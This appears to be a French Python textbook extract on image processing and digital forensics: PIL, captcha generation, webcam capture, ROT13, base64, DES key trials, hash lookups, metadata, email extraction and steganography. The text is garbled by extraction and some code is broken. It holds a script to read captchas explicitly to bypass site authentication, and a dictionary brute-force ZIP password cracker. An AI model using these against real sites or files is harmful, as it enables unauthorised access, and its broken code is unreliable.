im = Image.open(img_filename)
im.show()
2.Lireetcrire
PIL supporte une grande varit de types dimages. Pour lire un fichier du disque, nous utiliserons la fonction
open du module Image. Nous navons pas besoin de connatre le format du fichier pour louvrir. La librairie
dtermineautomatiquementleformatensebasantsurlecontenudufichier.
Poursauvegarderlefichier,nousutiliseronslamthode save.Quandlefichierestsauvegard,lenomdevient
important.Sinousspcifionsleformatdelimage,lalibrairieutiliseracetteextensionpourdterminerleformat
utiliserpoursauvegarder.
Conversiondefichierenjpeg :chap5script2.py
#!/usr/bin/env python
import os, sys
import Image
size = 128, 128
for infile in sys.argv[1:]:
outfile = os.path.splitext(infile)[0] + ".thumbnail"
if infile != outfile:
try:
im = Image.open(infile)
im.thumbnail(size)
im.save(outfile, "JPEG")
except IOError:
print "ne peut pas crer de thumbnail ", infile
Thumbnailestleformatduneimagequiatdiminuepouravoirladimensiondelongledupouce(thumbnail).
Sinouslanonscescriptaveccommeargumenteni.jpg,nousretrouvonsunephotoeni.thumbnail.
- 2-
Quandnousouvronsunfichier,lentteestlupourdterminerleformatdufichieretextrairelemode,latailleet
touteautrepropritrequisepourdcoderlefichier,maislerestedufichierneseratraitqueplustard.
Celaveutdirequouvrirunfichierestuneoprationrapidequiestdpendantedelatailledufichieretdutypede
compression.
Voiciunscriptsimplepouridentifierrapidementunensembledimages :
chap5_script4.py
#!/usr/bin/env python
import sys
import Image
for infile in sys.argv[1:]:
try:
im = Image.open(infile)
print infile, im.format, "%dx%d" % im.size, im.mode
except IOError:
pass
3.Couper,colleretfusionner
La classe Image contient des mthodes qui nous autorisent manipuler des rgions de limage. Pour extraire
unergionrectangulairedelimage,nousutiliseronslamthodecrop.
Copiedunergionrectangulairedelimage
Largionestdfinieavecuntuplede4lmentsquireprsententgauche,haut,droiteetbas(left,upper,right,
lower).PILutiliseunsystmedecoordonnesavec(0,0)pourlecoinenhautgauche.
Traiterlargionslectionneetcoller
region = region.transpose(Image.ROTATE_180)
im.paste(region, box)
Quandoncollelargionslectionne,latailledecellecidoitcorrespondreexactementaveclargiondonne.La
rgion ne peut pas tre plus grande que limage. Le mode de limage originale et celui de la rgion nont pas
- 3-
besoindtreidentiques.Largionseraautomatiquementconvertieavantdtrecolle.
Fairetourneruneimage
Lamthode pastepeutaussiprendrecommeargument(optionnel)unmasquedetransparencelavaleur255
indiquequelimagecollerseraopaqueetlavaleur0quelleseracompltementtransparente.Nouspourrons
biensrrglerentrecesdeuxborneslatransparencedsire.
PIL nous permet aussi de travailler individuellement chaque bande dune image multibande comme RGB par
exemple. La mthode splitcreunensemble denouvellesimageschacunecontenantunebandedelimage
originale.
Lafonction mergeprendcommeargumentsunmodeetuntuplecontenantlesimagesetlesfusionneenune
seuleimage.
clateretrassembleruneimage
r, g, b = im.split()
im = Image.merge("RGB", (b, g, r))
4.Transformationsgomtriques
La classe Image contient les mthodes resize et rotate. Elles prennent respectivement en argument un
tuplecontenantlanouvelletaille,etlangleendegrs(sensdesaiguillesdunemontre).
Transformationgomtriquesimple
out
out
out
out
out
- 4-
=
=
=
=
=
im.transpose(Image.FLIP_LEFT_RIGHT)
im.transpose(Image.FLIP_TOP_BOTTOM)
im.transpose(Image.ROTATE_90)
im.transpose(Image.ROTATE_180)
im.transpose(Image.ROTATE_270)
5.Transformationdescouleurs
PIL nous autorise convertir des images entre diffrentes reprsentations de pixels en utilisant la fonction
convert.
Conversiondemodes
im = Image.open("lena.ppm").convert("L")
La librairie supporte la transformation entre chaque mode support et le mode L et le mode RGB .Pour
convertirentredautresmodesnousdevronsutiliseruneimageintermdiaire(RGB).
6.Amliorationdimage
PILcontientuncertainnombredemthodesetmodulesquipeuventtreutilisspouramliorerdesimages.
a.Filtres
Le module ImageFilter contient un nombre prdfini de filtres qui peuvent tre utiliss avec la mthode
filter.
Appliquerunfiltre
import ImageFilter
out = im.filter(ImageFilter.DETAIL)
b.Oprationssurlespoints
Lamthodepointpeuttreutilisepourtraduirelesvaleursdespixelsduneimage.
Appliquerlatransformationdepoints
Enutilisantlatechniqueprcdente,nouspouvonsrapidementappliquernimportequelleexpressionsimple
uneimage.Nouspouvonscombinerlesmthodespointetpastepourmodifieruneimage :
Traitementindividueldesbandes
Nous allons dans ce script travailler sur chaque bande de couleur (R, G, B). La premire tape est donc
d"clater" (split) limage suivant les couleurs. Ds que le travail sur celleci est effectu, nous reconstruirons
limage(merge).
- 5-
Syntaxeutilisepourcrerlemasque
c.Amlioration
NouspourronsutiliserlaclasseImageEnhancepourdesamliorationsplusavances.Unefoiscrpartirde
limage,lobjetpeuttreutilispouressayerdiffrentesconfigurations(contraste,luminosit,couleurbalance
etforme).
Amliorerlimage
import ImageEnhance
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")
- 6-
Exemplesdutilisation
1.Crationduncaptcha
Lebutducaptchaestdecreruneimagelisibleparlhommemaisnonlisibleoutrsdifficilementparun"robot".
Cestunmoyendtre(presque)srquecestunhumainquiseconnectesurunsiteparexemple.
Lesexplicationsdechaquepartieduscriptsontencommentairesdanscedernier.
chap5_script5.py
#!/usr/bin/env python
import Image,ImageDraw,ImageFont
# creation du fond de limage
image = Image.new(RGB, (300, 80), (220,210,190))
draw = ImageDraw.Draw(image)
# creation du texte
textImg = Image.new(RGB,(150,40),(0,0,0))
tmpDraw = ImageDraw.Draw(textImg)
textFont = ImageFont.truetype(/var/lib/defoma/x-ttcidfontconf.d/dirs/TrueType/Arial_Black.ttf,30)
tmpDraw.text((0, 0), ENI Ed., font = textFont, fill =
(10,200,200))
textImg = textImg.rotate(-10)
# creation du masque (meme taille que limage du texte)
mask = Image.new(L,(150, 40),0)
mask.paste(textImg,(0,0))
# collez-le sur limage avec le texte
image.paste(textImg,(100,0),mask)
image.save(ENI.jpg)
2.Capturedimageettransformation
Nous allons dans ce script utiliser une autre bibliothque appele pythonopencv qui va nous permettre de
prendreunephotoaveclawebcametensuitedetraitercetteimage.
chap5_script6.py
#!/usr/bin/env python
import os,time
import datetime
import opencv.adaptors
from opencv.cv import *
from opencv import highgui
import ImageEnhance
import Image
ENI Editions - All rights reserved - chantal gournier
- 1-
def get_image(camera):
testimage = highgui.cvQueryFrame(camera)
time.sleep(1)
im = highgui.cvQueryFrame(camera)
dir(im)
print "limage est prise"
return opencv.adaptors.Ipl2PIL(im)
a=os.popen(whoami)
l=a.read()
s=l.split(\n)
uname=s[0]
now = datetime.datetime.now()
now = str(now)
im=None
camera= highgui.cvCreateCameraCapture(1)
time.sleep(2)
im = get_image(camera)
os.chdir(/home/%s/Pictures %(uname) )
fname=image_+uname+"_"+now+.png
im.save(fname, "PNG")
enh = ImageEnhance.Contrast(im)
enh.enhance(1.3).show("30% more contrast")
3.Lecturedecaptcha
a.nonc
Prrequis:librairiePIL,HTTP
- 2-
But:crerunscriptquilitlescaptchas.
nonc:
Dansbeaucoupdesites,pourlidentification,lesprogrammeursmettentenplacedescaptchaspourempcher
lesrobotsderaliserdemultiplesinscriptions.
Le but de cet exercice est de crer un script qui lit les captcha afin doutrepasser cette barrire
lauthentification.
b.Exempledecorrig
Lecaptchaalaformecidessous :
Nousallonscommencerparcrerunscriptquivafairelhistogrammedecetteimageafindetrouverlenombre
depixelsidentiques.Nouspourronssupposerquelenombremaximalcorrespondraauxpixelsblancspuisque
limageestenmajoritblanche.
Premieressai
#!/usr/bin/env python
from PIL import Image
import ImageEnhance
im = Image.open("../../images/chapitre5/05EP05.png")
im = im.convert("P") # Converts into GIF (255 colors)
test=im.histogram()
print im.histogram()
print test.index(8118)
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
if pix != 225:
im.putpixel((y,x),0)
print im.histogram()
im.show()
Nousobtenonsdoncceci :
Lenombremaximalest8118etestenposition225.
Enlanantlescript,nousobtenons:
- 3-
Noussommesdoncenbonnevoie.
Installons la bibliothque pytesser en guise dOCR. Nous avons en effet besoin dun OCR (Optical Character
Recognition, reconnaissance optique de caractre), pour lire le captcha une fois que le script aura rtabli
verticalement les lettres. Nous allons donc dtecter les lettres, grce aux diffrences de couleur puis
essayer dereplacerverticalement(ellesontunangleaudmarrage).
chap5_script7.py
#!/usr/bin/env python
from PIL import Image
import ImageEnhance
import re
from pytesser import *
im = Image.open("../../images/chapitre5/05EP05.png")
im = im.convert("P") # Converts into GIF (255 colors)
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
if pix != 225:
im.putpixel((y,x),0)
print im.histogram()
def rotc(image, rotations):
for rotation in rotations:
torot = image.convert(RGBA)
rot = torot.rotate(rotation, expand=1)
fff = Image.new(RGBA, rot.size, (255,)*4)
out = Image.composite(rot, fff, rot)
image = out.convert(image.mode)
alpha = re.match(r"[a-zA-Z0-9]", image_to_string(image))
try:
return (image, alpha.group(0))
except:
pass
inletter = False
foundletter=False
start = 0
end = 0
imList = []
for y in range(im.size[0]):
for x in range(im.size[1]):
pix = im.getpixel((y,x))
if pix != 225:
inletter = True
if foundletter == False and inletter == True:
foundletter = True
start = y
if foundletter == True and inletter == False:
foundletter = False
end = y
im3 = im.crop((start, 0, end, im.size[1] ))
imList.append(im3)
inletter=False
imList[1] = rotc(imList[1], [-30, 30])[0]
imList[2] = rotc(imList[2], [30, -30])[0]
imList[4] = rotc(imList[4], [-30, 30])[0]
- 4-
Sinouslanonscescript,nousobtenonscequenousvoulions,letexteducaptchaestrcupr.
- 5-
Introduction
Ondsigneparinformatiquelgaleouinvestigationnumriquelgalelapplicationdetechniquesetdeprotocoles
dinvestigationnumriquesrespectantlesprocdureslgalesetdestineapporterdespreuvesnumriquesla
demandeduneinstitutiondetypejudiciaireparrquisition,ordonnanceoujugement.Onpeutdoncgalementla
dfinircommelensembledesconnaissancesetmthodesquipermettentdecollecter,conserveretanalyserdes
preuvesissuesdesupportsnumriquesenvuedelesproduiredanslecadreduneactionenjustice.
Le but de ce chapitre est donc de comprendre lutilisation de Python pour crer de petits scripts qui vont nous
permettredetrouverdespreuvesinformatiques,deretrouverdeslmentsdisperssdansledisquedurousur
dautres mdias. Nous dcouvrirons en plus de celles dj vues dans les chapitres prcdents, dautres
bibliothquesPythontellesqueVolatilityetlibPST.
IlexistesurlewebdemultiplesoutilsdeForensictelsqueAutopsyparexemple,desoutilssontregroupsdans
les distributions telles que BackTrack ou Bugtraq mais que se passetil quand loutil que lon souhaite nexiste
pas ?
Les experts en Forensic savent trs bien que souvent nous arrivons une situation dans laquelle les outils du
marchsontsoitinexistants,soittropcomplexes pourlebutrecherch.
NousallonsexplorerlafaondontnouspouvonscrernospropresoutilsForensic.
Ce chapitre est une application des bibliothques que nous avons dj tudie avec quelques pistes dautres
bibliothques.
NousallonspasserenrevuediffrentspointsdelanalyseForensic,quinestpasexhaustive,enappliquantnos
connaissances.
Chaquesectionrequerrapeuttrelalecturedecertainsarticlessurlacryptographie,lanalysemmoireouautre.
- 1-
Cryptographieetautres
Souvent,nousallonstreconfrontsdesfichierscryptslaciblevaeneffetessayerdecacherlinformation.
1.ROT13
Source Wikipdia : "Le ROT13 (rotate by 13 places) est un cas particulier du chiffre de Csar, un algorithme
simplistedechiffrementdetexte.Commesonnomlindique,ilsagitdundcalagede13 caractresdechaque
lettre du texte chiffrer. Le dfaut de ce chiffrement est que sil soccupe des lettres, il ne soccupe pas des
symboles et de la ponctuation. Cest pourquoi on doit supprimer toute accentuation du texte chiffrer. Il ne
soccupepasnonplusdeschiffres,cequitaitsansimportancepuisquelesRomainscrivaientleurschiffresavec
des lettres (I, V, X, L, M, etc.). Pour lutiliseraujourdhui, il suffit de convertir dabordleschiffresenutilisantla
notationromaine,ouenlettres("UN"pour1,"DEUX"pour2...)."
LalettreOdevientB,lalettrePdevientC...
LalibrairiestringdePythoncontientunefonctionappele maketransquipermetdesubstitueruncaractre
unautre.
ROT13=string.maketrans
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ,
nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM)
Danslescriptsuivant,nousallonsouvrirtouslesfichiers.txtetlancerlecryptage ROT13pourchaquelignede
chaque fichier. Nous allons ensuite regarder si la ligne contient un mot contenu dans le dictionnaire que lon
ouvreaudbut.
Sicestlecas,nousafficheronsunmessageindiquantquenousavonstrouvunmessageencodenROT13.
chap6_script1.py
#!/usr/bin/env python
import sys, os, string
ROT13=string.maketrans(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP
QRSTUVWXYZ,nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM
)
fichier = open("dictionnaire")
Fichier = fichier.readlines()
for root, dir, files in os.walk(str(sys.argv[1])):
for file in files:
if ".txt" in str(file):
trouvemot = 0
pasmot = 0
lignes = open(file).readlines()
for ligne in lignes:
traductionligne=ligne.translate(RO T13)
traductionmots=traductionligne.spl it()
for chaquemot in traductionmots:
if (chaquemot+\n) in
Fichier:
trouvemot=trouvemo- t+1
else:
pasmot = pasmot+1
if (trouvemot > pasmot):
print file+" peut contenir un
cryptage ROT-13."
- 1-
fairelinverse,cestdirededcrypter.
chap6_script2.py
import string
letters = string.ascii_lowercase
key = 13
trans_table = letters[key:] + letters[0:key]
trans = string.maketrans(letters,trans_table)
text = "Essai de texte"
print text.translate(trans)
2.Base64
IlexisteunelibrairiePythonetdesmodulespourdcoderlabase64,lecryptage declssymtriques...
Pourdcoderunephraseenbase64ensontexteoriginal,nouspouvonsutilisercescript :
chap6_script3.py
#!/usr/bin/env python
import base64
msg=raw_input("Entrez le message en base 64 :")
print "Message original: "+base64.decodestring(msg)
Nousallonsessayerdetraduirelaphraseenbase64suivante,trouvesurleNetpourtesternotreprogramme:
TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWF
zb24sIGJ1dCBieSB0aGlzIHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdG
hlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2YgdGhlIG1pbmQsI
HRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUg
Y29udGludWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Y
ga25vd2xlZGdlLCBleGNlZWRzIHRoZSBzaG9ydCB2ZWhlbWVuY2Ugb2
YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
Nousarrivonsdoncdcoderunephrasecrypteenbase64.
Attelonsnousunscriptquiencodeetdcodelabase64 :
chap6_script4.py
#!/usr/bin/env python
import base64
MESSAGE = "Editions ENI"
- 2-
Nous pouvons faire de mme avec une image, prenons comme exemple une image en .gif et essayons de la
coderenbase64 :
chap6_script5.py
Nousallonsimaginermaintenantquenousavonsrcuprdesclssymtriquescryptes(DES)etunmessage
suspectventuellementcryptaveclunedecescls.
Nousavonsenregistrdansunfichierkey.txttouteslesclstrouves.
UnelibrairiePythonexisteetsappellepyCrypto,nousallonslutiliserdansnotreprochainscript.
Nousallonsdoncessayerdedcoderlemessageavecchaquecl.Unefoiscelaeffectu,nousallonscompterle
nombre de caractres alphanumriques dans le rsultat et si celuici contient principalement des caractres
alphanumriques,nousallonsafficherlacletlemessagedcod.
chap6_script6.py
#!/usr/bin/env python
import base64, string
from Crypto.Cipher import DES
THRESH = 0.9
keyFile = open("keys.txt")
keys = keyFile.readlines()
ciph=base64.decodestring("cG0okyHpOAADuNLv8bRpxpyZeU8kMA2kWV2zoV+Y
Uos=")
for key in keys:
obj=DES.new(key[0:8], DES.MODE_ECB)
decodedStr=obj.decrypt(ciph)
- 3-
foundLetters = 0
for eachChar in decodedStr:
if eachChar.isalpha() or eachChar.isdigit() or
eachChar.isspace():
foundLetters = foundLetters+1
if (float(foundLetters)/float(len(decodedStr)) > THRESH):
print "DES(ciphertext,"+key[0:8]+")="+decodedStr
3.Hash
SourceWikipdia:"Onnommefonctiondehachageunefonctionparticulirequi,partirdunedonnefournie
enentre,calculeuneempreinteservantidentifierrapidement,bienquincompltement,ladonneinitiale."
Parexemple,MD5etSHA256implmententunefonctiondehachage.
DesbasesdedonnesdehashconnussontdisponiblessurleNet,surlesmalwares,leschevauxdeTroiepar
exemple.
Nouspouvonslesretrouverdanslesitesuivant(http://www.nsrl.nist.gov)parexemple.
Le"SANSInternetStormCenter"fournituneinterfacepourfairedesrequtestraversleprotocoleDNSpour
identifierunhashconnuounon.
Nous allons donc ici nous en servir afin de comparer un fichier de notre systme que nous aurons trouv en
scannant.Silacomparaisonestconcluante,nousafficheronslersultat.
Le script suivant va donc balayer notre rpertoire ou dossier la recherche de fichiers crypts en MD5 pour
ensuitelecompareraucontenudelabasededonnesde"SANSInternetStormCenter".
chap6_script7.py
#!/usr/bin/env python
import os, hashlib, sys, socket, string
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
try:
fn = root+fp
infile = open(fn, "rb")
- 4-
content = infile.read()
infile.close()
m = hashlib.md5()
m.update(content)
hash = m.hexdigest()
try:
mhr =
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print "impossible de creer
le socket"
try:
mhr.connect(("hash.cymru.c
om", 43))
except:
print "connexion
impossible"
mhr.send(str(hash + "\r\n"))
response =
print "demande pour " + fp
while True:
d = mhr.recv(4096)
response += d
if d == :
break
if "NO_DATA" not in response:
print
"<INFECTED>:"+str(fn)
except:
print "exception"
pass
Nousinterrogeonsdoncicilabasededonnesdehash.cymru.comsurleport 43etnousrcupronslarponse.
NousallonsvoirunpetitscriptindpendantquiutiliseleMD5.Nousallonsdoncchoisirunechanedecaractres,
iciEditionsENIafindecreruneempreinte MD5decelleci.
chap6_script8.py
- 5-
Extractiondesmtadonnesdanslesfichiers
Lesmtadonnesdanslesfichiersvontnouspermettredeconnatreladatedecrationdufichier,quilacret
avecqueloutil.
NousallonscommencerparunscriptassezamusantquircuprelesmtadonnesdunfichierMP3
1.MtadonnesMP3
LabibliothqueeyeD3vanouspermettredexaminerlesmtadonnesdesfichiersMP3.
Nous pouvons rcuprer grce getArtist(),
propresaufichierMP3obtenuespareyeD3.tag().
chap6_script9.py
#!/usr/bin/env python
import eyeD3
tag = eyeD3.Tag()
chemin=raw_input("donnez le chemin du fichier mp3\n")
tag.link(chemin)
print tag.getArtist()
print tag.getAlbum()
print tag.getTitle()
Nouspouvonsaussilirelefichieretaccdersontag.
if eyeD3.isMp3File(f):
audioFile = eyeD3.Mp3AudioFile(f)
tag = audioFile.getTag()
Nouspouvonsaussircuprerlesframessiellesexistent.
import eyeD3
tag = eyeD3.Tag()
tag.link("/home/fasm/personnel/chansons/thiefaine/01_113_Cigarette mp3")
for frame in tag.frames:
print frame
Ilnousestpossibleaussidajouterdesinformationsauxtags
tag = eyeD3.Tag()
tag.link(/home/fasm/personnel/chansons/thiefaine/01_113_Cigarette
mp3)
tag.header.setVersion(eyeD3.ID3_V2_3)
tag.setArtist(HFT)
ENI Editions - All rights reserved - chantal gournier
- 1-
tag.update()
Nousvenonsdevoirunebibliothqueamusantequipourranousservirmaislebuttaitsurtoutdecomprendre
quedesdonnesspcifiqueschaquefichier sontcontenuesdanslefichierluimme,cequipeutnousaiderlors
denosrecherches.
2.Mtadonnesdesimages
Nous pouvons aussi rcuprer les mtadonnes des images en utilisant par exemple PIL, que nous avons vu
danslechapitreTraitementdimages,enparticulierExifTags.
Essayonscepetitprogrammeafindetestercemodule :
chap6_script10.py
#!/usr/bin/env python
from PIL import Image
from PIL.ExifTags import TAGS
def get_exif(fn):
ret = {}
i = Image.open(fn)
info = i._tag.tags
for tag, value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value
return ret
choix=raw_input("entrez le nom de limage\n")
get_exif(choix)
3.MtadonnesPDF
VoiciunscriptquiimportelabibliothquepyPdfetquivarechercherdanslerpertoireproposenargumentdu
scriptlesfichiersPDFdeplusde5pagesetayantcommeauteurENI.
chap6_script11.py
#!/usr/bin/env python
import warnings,sys,os,string
from pyPdf import PdfFileWriter, PdfFileReader
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
if ".pdf" in fp:
fn = root+"/"+fp
try:
pdfFile = PdfFileReader(file(fn,"rb"))
title =
pdfFile.getDocumentInfo().title.upper()
author =
pdfFile.getDocumentInfo().author.upper()
- 2-
pages = pdfFile.getNumPages()
if (pages > 5) and ("ENI" in author):
resultStr = "Matched:"+str(fp)
+"-"+str(pages)
4.MtadonnesOLE2
IlarrivetrssouventbiensrquelonveuilleaussirechercherdesdocumentsMicrosoftOffice.
MicrosoftstockesesinformationsWord(doc),Excel(xls)etPowerPoint(ppt)enutilisantunestructureappele
OLE2quipeutcontenirdesinformationsimportantes.
ImaginonsquenousvoulonstrouverundocumentMicrosoftquicontientdesmacrosVBA.
Nous pourrons utiliser la librairie OleFileIO_PL pour lire le flot OLE du fichier, puis dtecter si celuici contient
macro/vba .
import OleFileIO_PL,os,sys,string
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
fn = root+fp
try:
ole = OleFileIO_PL.OleFileIO(fn)
if ole.exists(macros/vba):
print fn+":"+" contient des macros vba."
except:
pass
5.Casconcret
Nousallonsmaintenantimagineruncasconcret.
Nousavonsrcuprletlphoneportabledunsuspectetnoussouhaitonsconnatreladateetlheure de la
prisedechaquephotodecetlphone.
Nouspourronsainsivrifiersicettepersonnetaitunendroitprcisuneheureprcise.
chap6_script11.py
#!/usr/bin/env python
from PIL.ExifTags import TAGS
import os,sys,Image
ret={}
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
if ".JPG" in fp.upper():
fn = root+fp
print fn
i = Image.open(fn)
info = i._getexif()
for tag, value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value
print ret[DateTimeDigitized]
- 3-
- 4-
FichiersZIP
1.LiredansunfichierZIP
Nous voulons examiner directement un ou plusieurs fichiers contenus dans une archive au format ZIP, sans la
dcompactersurledisque.
Unebibliothqueexiste,zipfile,quivanouspermettredetravaillerdirectementsurlesdonnescontenuesdans
desfichiersZIP.
#!/usr/bin/env python
import zipfile
z=zipfile.ZipFile("fichier.zip","r")
for nom in z.namelist() :
print le fichier, nom,
nb_octets=z.read(nom)
print contient , len(nb_octets),octets.
Nouspouvonsaussiconsulterlecontenudesfichiers.
#!/usr/bin/env python
import zipfile
z = zipfile.ZipFile(test.zip, r)
names = z.namelist()
for name in names:
print Attente de %s % name
print z.read(name)
for name in names:
print en Attente de %s % name
f = z.open(name)
contents = f.read()
2.AttaqueBruteforcedemotsdepasse
CertainsfichiersZIPsontprotgsparunmotdepasse.Nouspouvonsessayerdecraquercesmotsdepasse
en partant dun dictionnaire, appel ici passFile et fourni en argument 2 lors du lancement du script,
largument1tantlefichierZIP.
#!/usr/bin/env python
import zipfile
zFile = open(sys.argv[1],r)
passFile = open(sys.argv[2],r)
passwords = passFile.readlines()
for password in passwords:
try:
for info in zfile.infolist():
fname = info.filename
print "trying..."+str(password)
data = zfile.read(fname,str(password))
print password trouve: "+str(password))
break
except Exception, e:
print e
if (Bad password) in e: pass
- 1-
- 2-
LiredansunfichierOpenOfficeouWord
1.Parcourirunearborescence
Nousdevonsexaminerunrpertoireoutouteunearborescencederpertoiressitusdansunrpertoiredonn
pouritrersurlesfichiersdontlesnomscorrespondent certainsmotifs.
Legnrateuros.walk,djutilisdansdautrespartiesdecelivre,suffitcettetche.
#!/usr/bin/env python
import os, fnmatch
def tous_les_fichiers( racine, motifs=*, un_seul_niveau=False,
repertoires = False):
motifs=motifs.split(;)
for chemin, sous_reps, fichiers in os.walk(racine):
if repertoires:
fichiers.extend(sous_reps)
fichiers.sort()
for nom in fichiers:
for motif in motifs:
if fnmatch.fnmatch(nom,motif):
yeld os.path.join(chemin,nom)
break
if un_seul_niveau:
break
for chemin in tous_les_fichiers(/tmp,*.py ;*.htm ;*.html) :
print chemin
fnmatchpermetderechercherlesnomsdefichierscorrespondantdesmotifs.
Pour prciser plusieurs motifs, nous devons les sparer par des pointsvirgules, un motif ne devra donc pas
possderdepointvirgule.
Danslexemplecidessus,nousutilisonsladfinition tous_les_fichierspourrechercherlechemindetous
lesfichiersPythonetHTML.
2.RechercherdansundocumentOpenOffice
NoussouhaitonsextrairedesdonnesdundocumentOpenOfficeouLibreOffice.
CetypededocumentestundocumentenZIPrassemblantdesfichiersXMLrespectantunstandardbiendfini.
NousavonsdjtudileXMLetleZIP.
Nous allons donc rcuprer le fichier content.xml, que nous allons allger des balises XML laide dune
expressionrgulire,puisnousallonsdcouperlersultatselonlesespacesetlereconstruireavecununique
espacepourconomiserlaplaceoccupe.
#!/urs/bin/env python
import zipfile, re
re_suppr_xml=re.compile("<[>]* ?",re.DOTALL|re.MULTILINE)
def convertir_00(nomFichier,texte_seul=True) :
fz=zipfile.ZipFile(nomfichier,"r")
donnees=fz.read("content.xml")
fz.close()
if texte_seul :
donnees= " ".join(re_suppr_xml.sub(" "
,donnees).split())
- 1-
return donnees
if __name__=="__main__" :
import sys
if len(sys.argv)>1 :
for nomdoc in sys.argv[1:] :
print Texte de ,nomdoc, :
print convertir_00(nomdoc)
print XML de ,nomdoc, :
print convertir_00(nomdoc,texte_seul=False)
else :
print Donnez des noms de documents OpenOffice pour
les lire au format texte et XML
RechercherdansundocumentWord
LaspectpratiqueaveclaplupartdesapplicationsWindowsestquenouspouvons lesscripteravecCOM,grce
lextensionPyWin32.
Nous allons donc essayer dextraire le texte de fichiers .doc dune arborescence de rpertoires dans des
fichiers.txtcorrespondants.
#!/usr/bin/env python
import fnmatch,os,sys,win32com.client
wordapp=win32com.client.gencache.EnsureDispatch( "Word.Application
")
try :
for chemin, reps, fichiers in os.walk(sys.argv[1]) :
for nomfic in fichiers :
if not fnmatch.fnmatch(nomfic,
*.doc):continue
doc=os.path.abspath(os.path.join(chemin,nomfic))
print "Traitement de %s" %doc
wordapp.Documents.Open(doc)
doc_en_txt=doc[:-3] + txt
wordapp.ActiveDocument.SaveAs(doc_en_txt,FileFormat
=win32.client.constants.wdFormatText)
wordapp.ActiveDocument.Close()
finally :
wordapp.Quit()
- 2-
Email
1.Retrouverdesemailsdansdesfichiers
Si nous souhaitons rcuprer partir dune liste de fichiers toutes les adresses email contenues dans ces
fichiers,lescriptsuivantpourranoustretrsutile.
chap6_script12.py
Dans le mme rpertoire, nous allons placer trois fichiers texte, texte1.txt, texte2.txt et texte3.txt voici leur
contenu :
::::::::::::::
texte1.txt
::::::::::::::
un petit texte tout sympa
qui contient un mail fasm@acissi.net et pis cest tout
mais regardons le prochain
::::::::::::::
texte2.txt
::::::::::::::
la il ny a pas de mail mais que des @ et des .
donc rien en retour
::::::::::::::
texte3.txt
::::::::::::::
la on va mettre deux adresses mail fasm@free.fr et plus loin
on mettra un autre mail
mais pas sur cette ligne
mais ici (codej@orange.fr) entre parentheses
Nousobtenonsenrsultatdecescript :
2.Rechercherdanslabotemail
ENI Editions - All rights reserved - chantal gournier
- 1-
Nous allons imaginer maintenant que nous avons accs une bote mail avec donc lidentifiant et le mot de
passe,maisquecellecicontientdescentainesdemails.
Nousdsironscrireunscriptquivatriercesmails,suivantlesujet,parexemple.
Pour cela, nous avons prpar au pralable un fichier texte appel mots_recherche.txt, dans lequel nous
indiquonstouslesmotsclsquenousrecherchons.
#!/usr/bin/env python
import poplib
from email import parser
FichierMots = open("mots_recherche.txt")
MotsCles= FichierMots.readlines()
pop_conn = poplib.POP3_SSL(serveur_pop)
pop_conn.user(login)
pop_conn.pass_(password)
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
messages = ["\n".join(mssg[1]) for mssg in messages]
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
pop_conn.quit()
for message in messages:
for MotCle in MotsCles:
if MotCle.rstrip() in message[Subject]:
print message[Subject]
- 2-
Stganographie
La stganographie est une branche particulire de la cryptographie qui consiste non pas rendre le message
inintelligible,maislecamouflerdansunconteneurdemaniremasquersaprsence.
1.Rechercherdesinformationsdansuneimage
Pour appliquer Python la stganographie, nous allons prendre une image, oxygen.png, disponible en
tlchargementsurleNet,quicontientdesdonnes caches.
Nousremarquonsquecetteimagecomporteunebarreavecundgraddegris,lemessagecachdoittreici.
NousallonsutiliserdenouveaulabibliothquePILdjvueetenparticulierImage.
#!/usr/bin/env python
import Image
im = Image.open("oxygen.png")
print "Image info:",im.format, im.size, im.mode
#limitation de la zone grise
y_begin = 0
while True:
p = im.getpixel((0, y_begin))
if p[0] == p[1] == p[2]:
break
y_begin += 1
x_end = 0
while True:
p = im.getpixel((x_end, y_begin))
if not p[0] == p[1] == p[2]:
break
x_end += 1
print "Y first coordinate:", y_begin,"nX last coordinate:",x_end
message=[]
for i in range(0,x_end,7):
p = im.getpixel((i, y_begin))
message.append(chr(p[0]))
print .join(message),
#First run gives: [105, 110, 116, 101, 103, 114, 105, 116, 121]
message=[105, 110, 116, 101, 103, 114, 105, 116, 121]
print (,.join([chr(x) for x in message]),)
Toutesleslibrairies,fonctionsetmthodesontdjtvuesprcdemment,nousnyreviendronsdoncpasici.
2.Cacheruneimagedansuneimage
Chaque pixel est dfini par un triplet de trois nombres entiers compris entre 0 et 255, le premier donnant la
composanterouge,ledeuximelaverteetletroisimelableue.
Nousdonnonsladeuximelignedutableaucidessouslacomposanterougedes16premierspixels.Dansune
premiretape,laligne3,lesvaleurssontrduitesauplusgrandnombrepairinfrieurougallavaleur.
- 1-
Ensuite,nousallonsajoutercesnombrespairsdes0etdes1etcesontces0etces1,regroupspar8,qui
vonttransmettrelesinformationscaches.
Dans les huit premiers pixels, nous rentrons linformation 01001011 qui est la reprsentation binaire de 75
cestlenombredecaractresdelachane.Nousallonsdonccoderlimagesur8+(875)=608pixels.
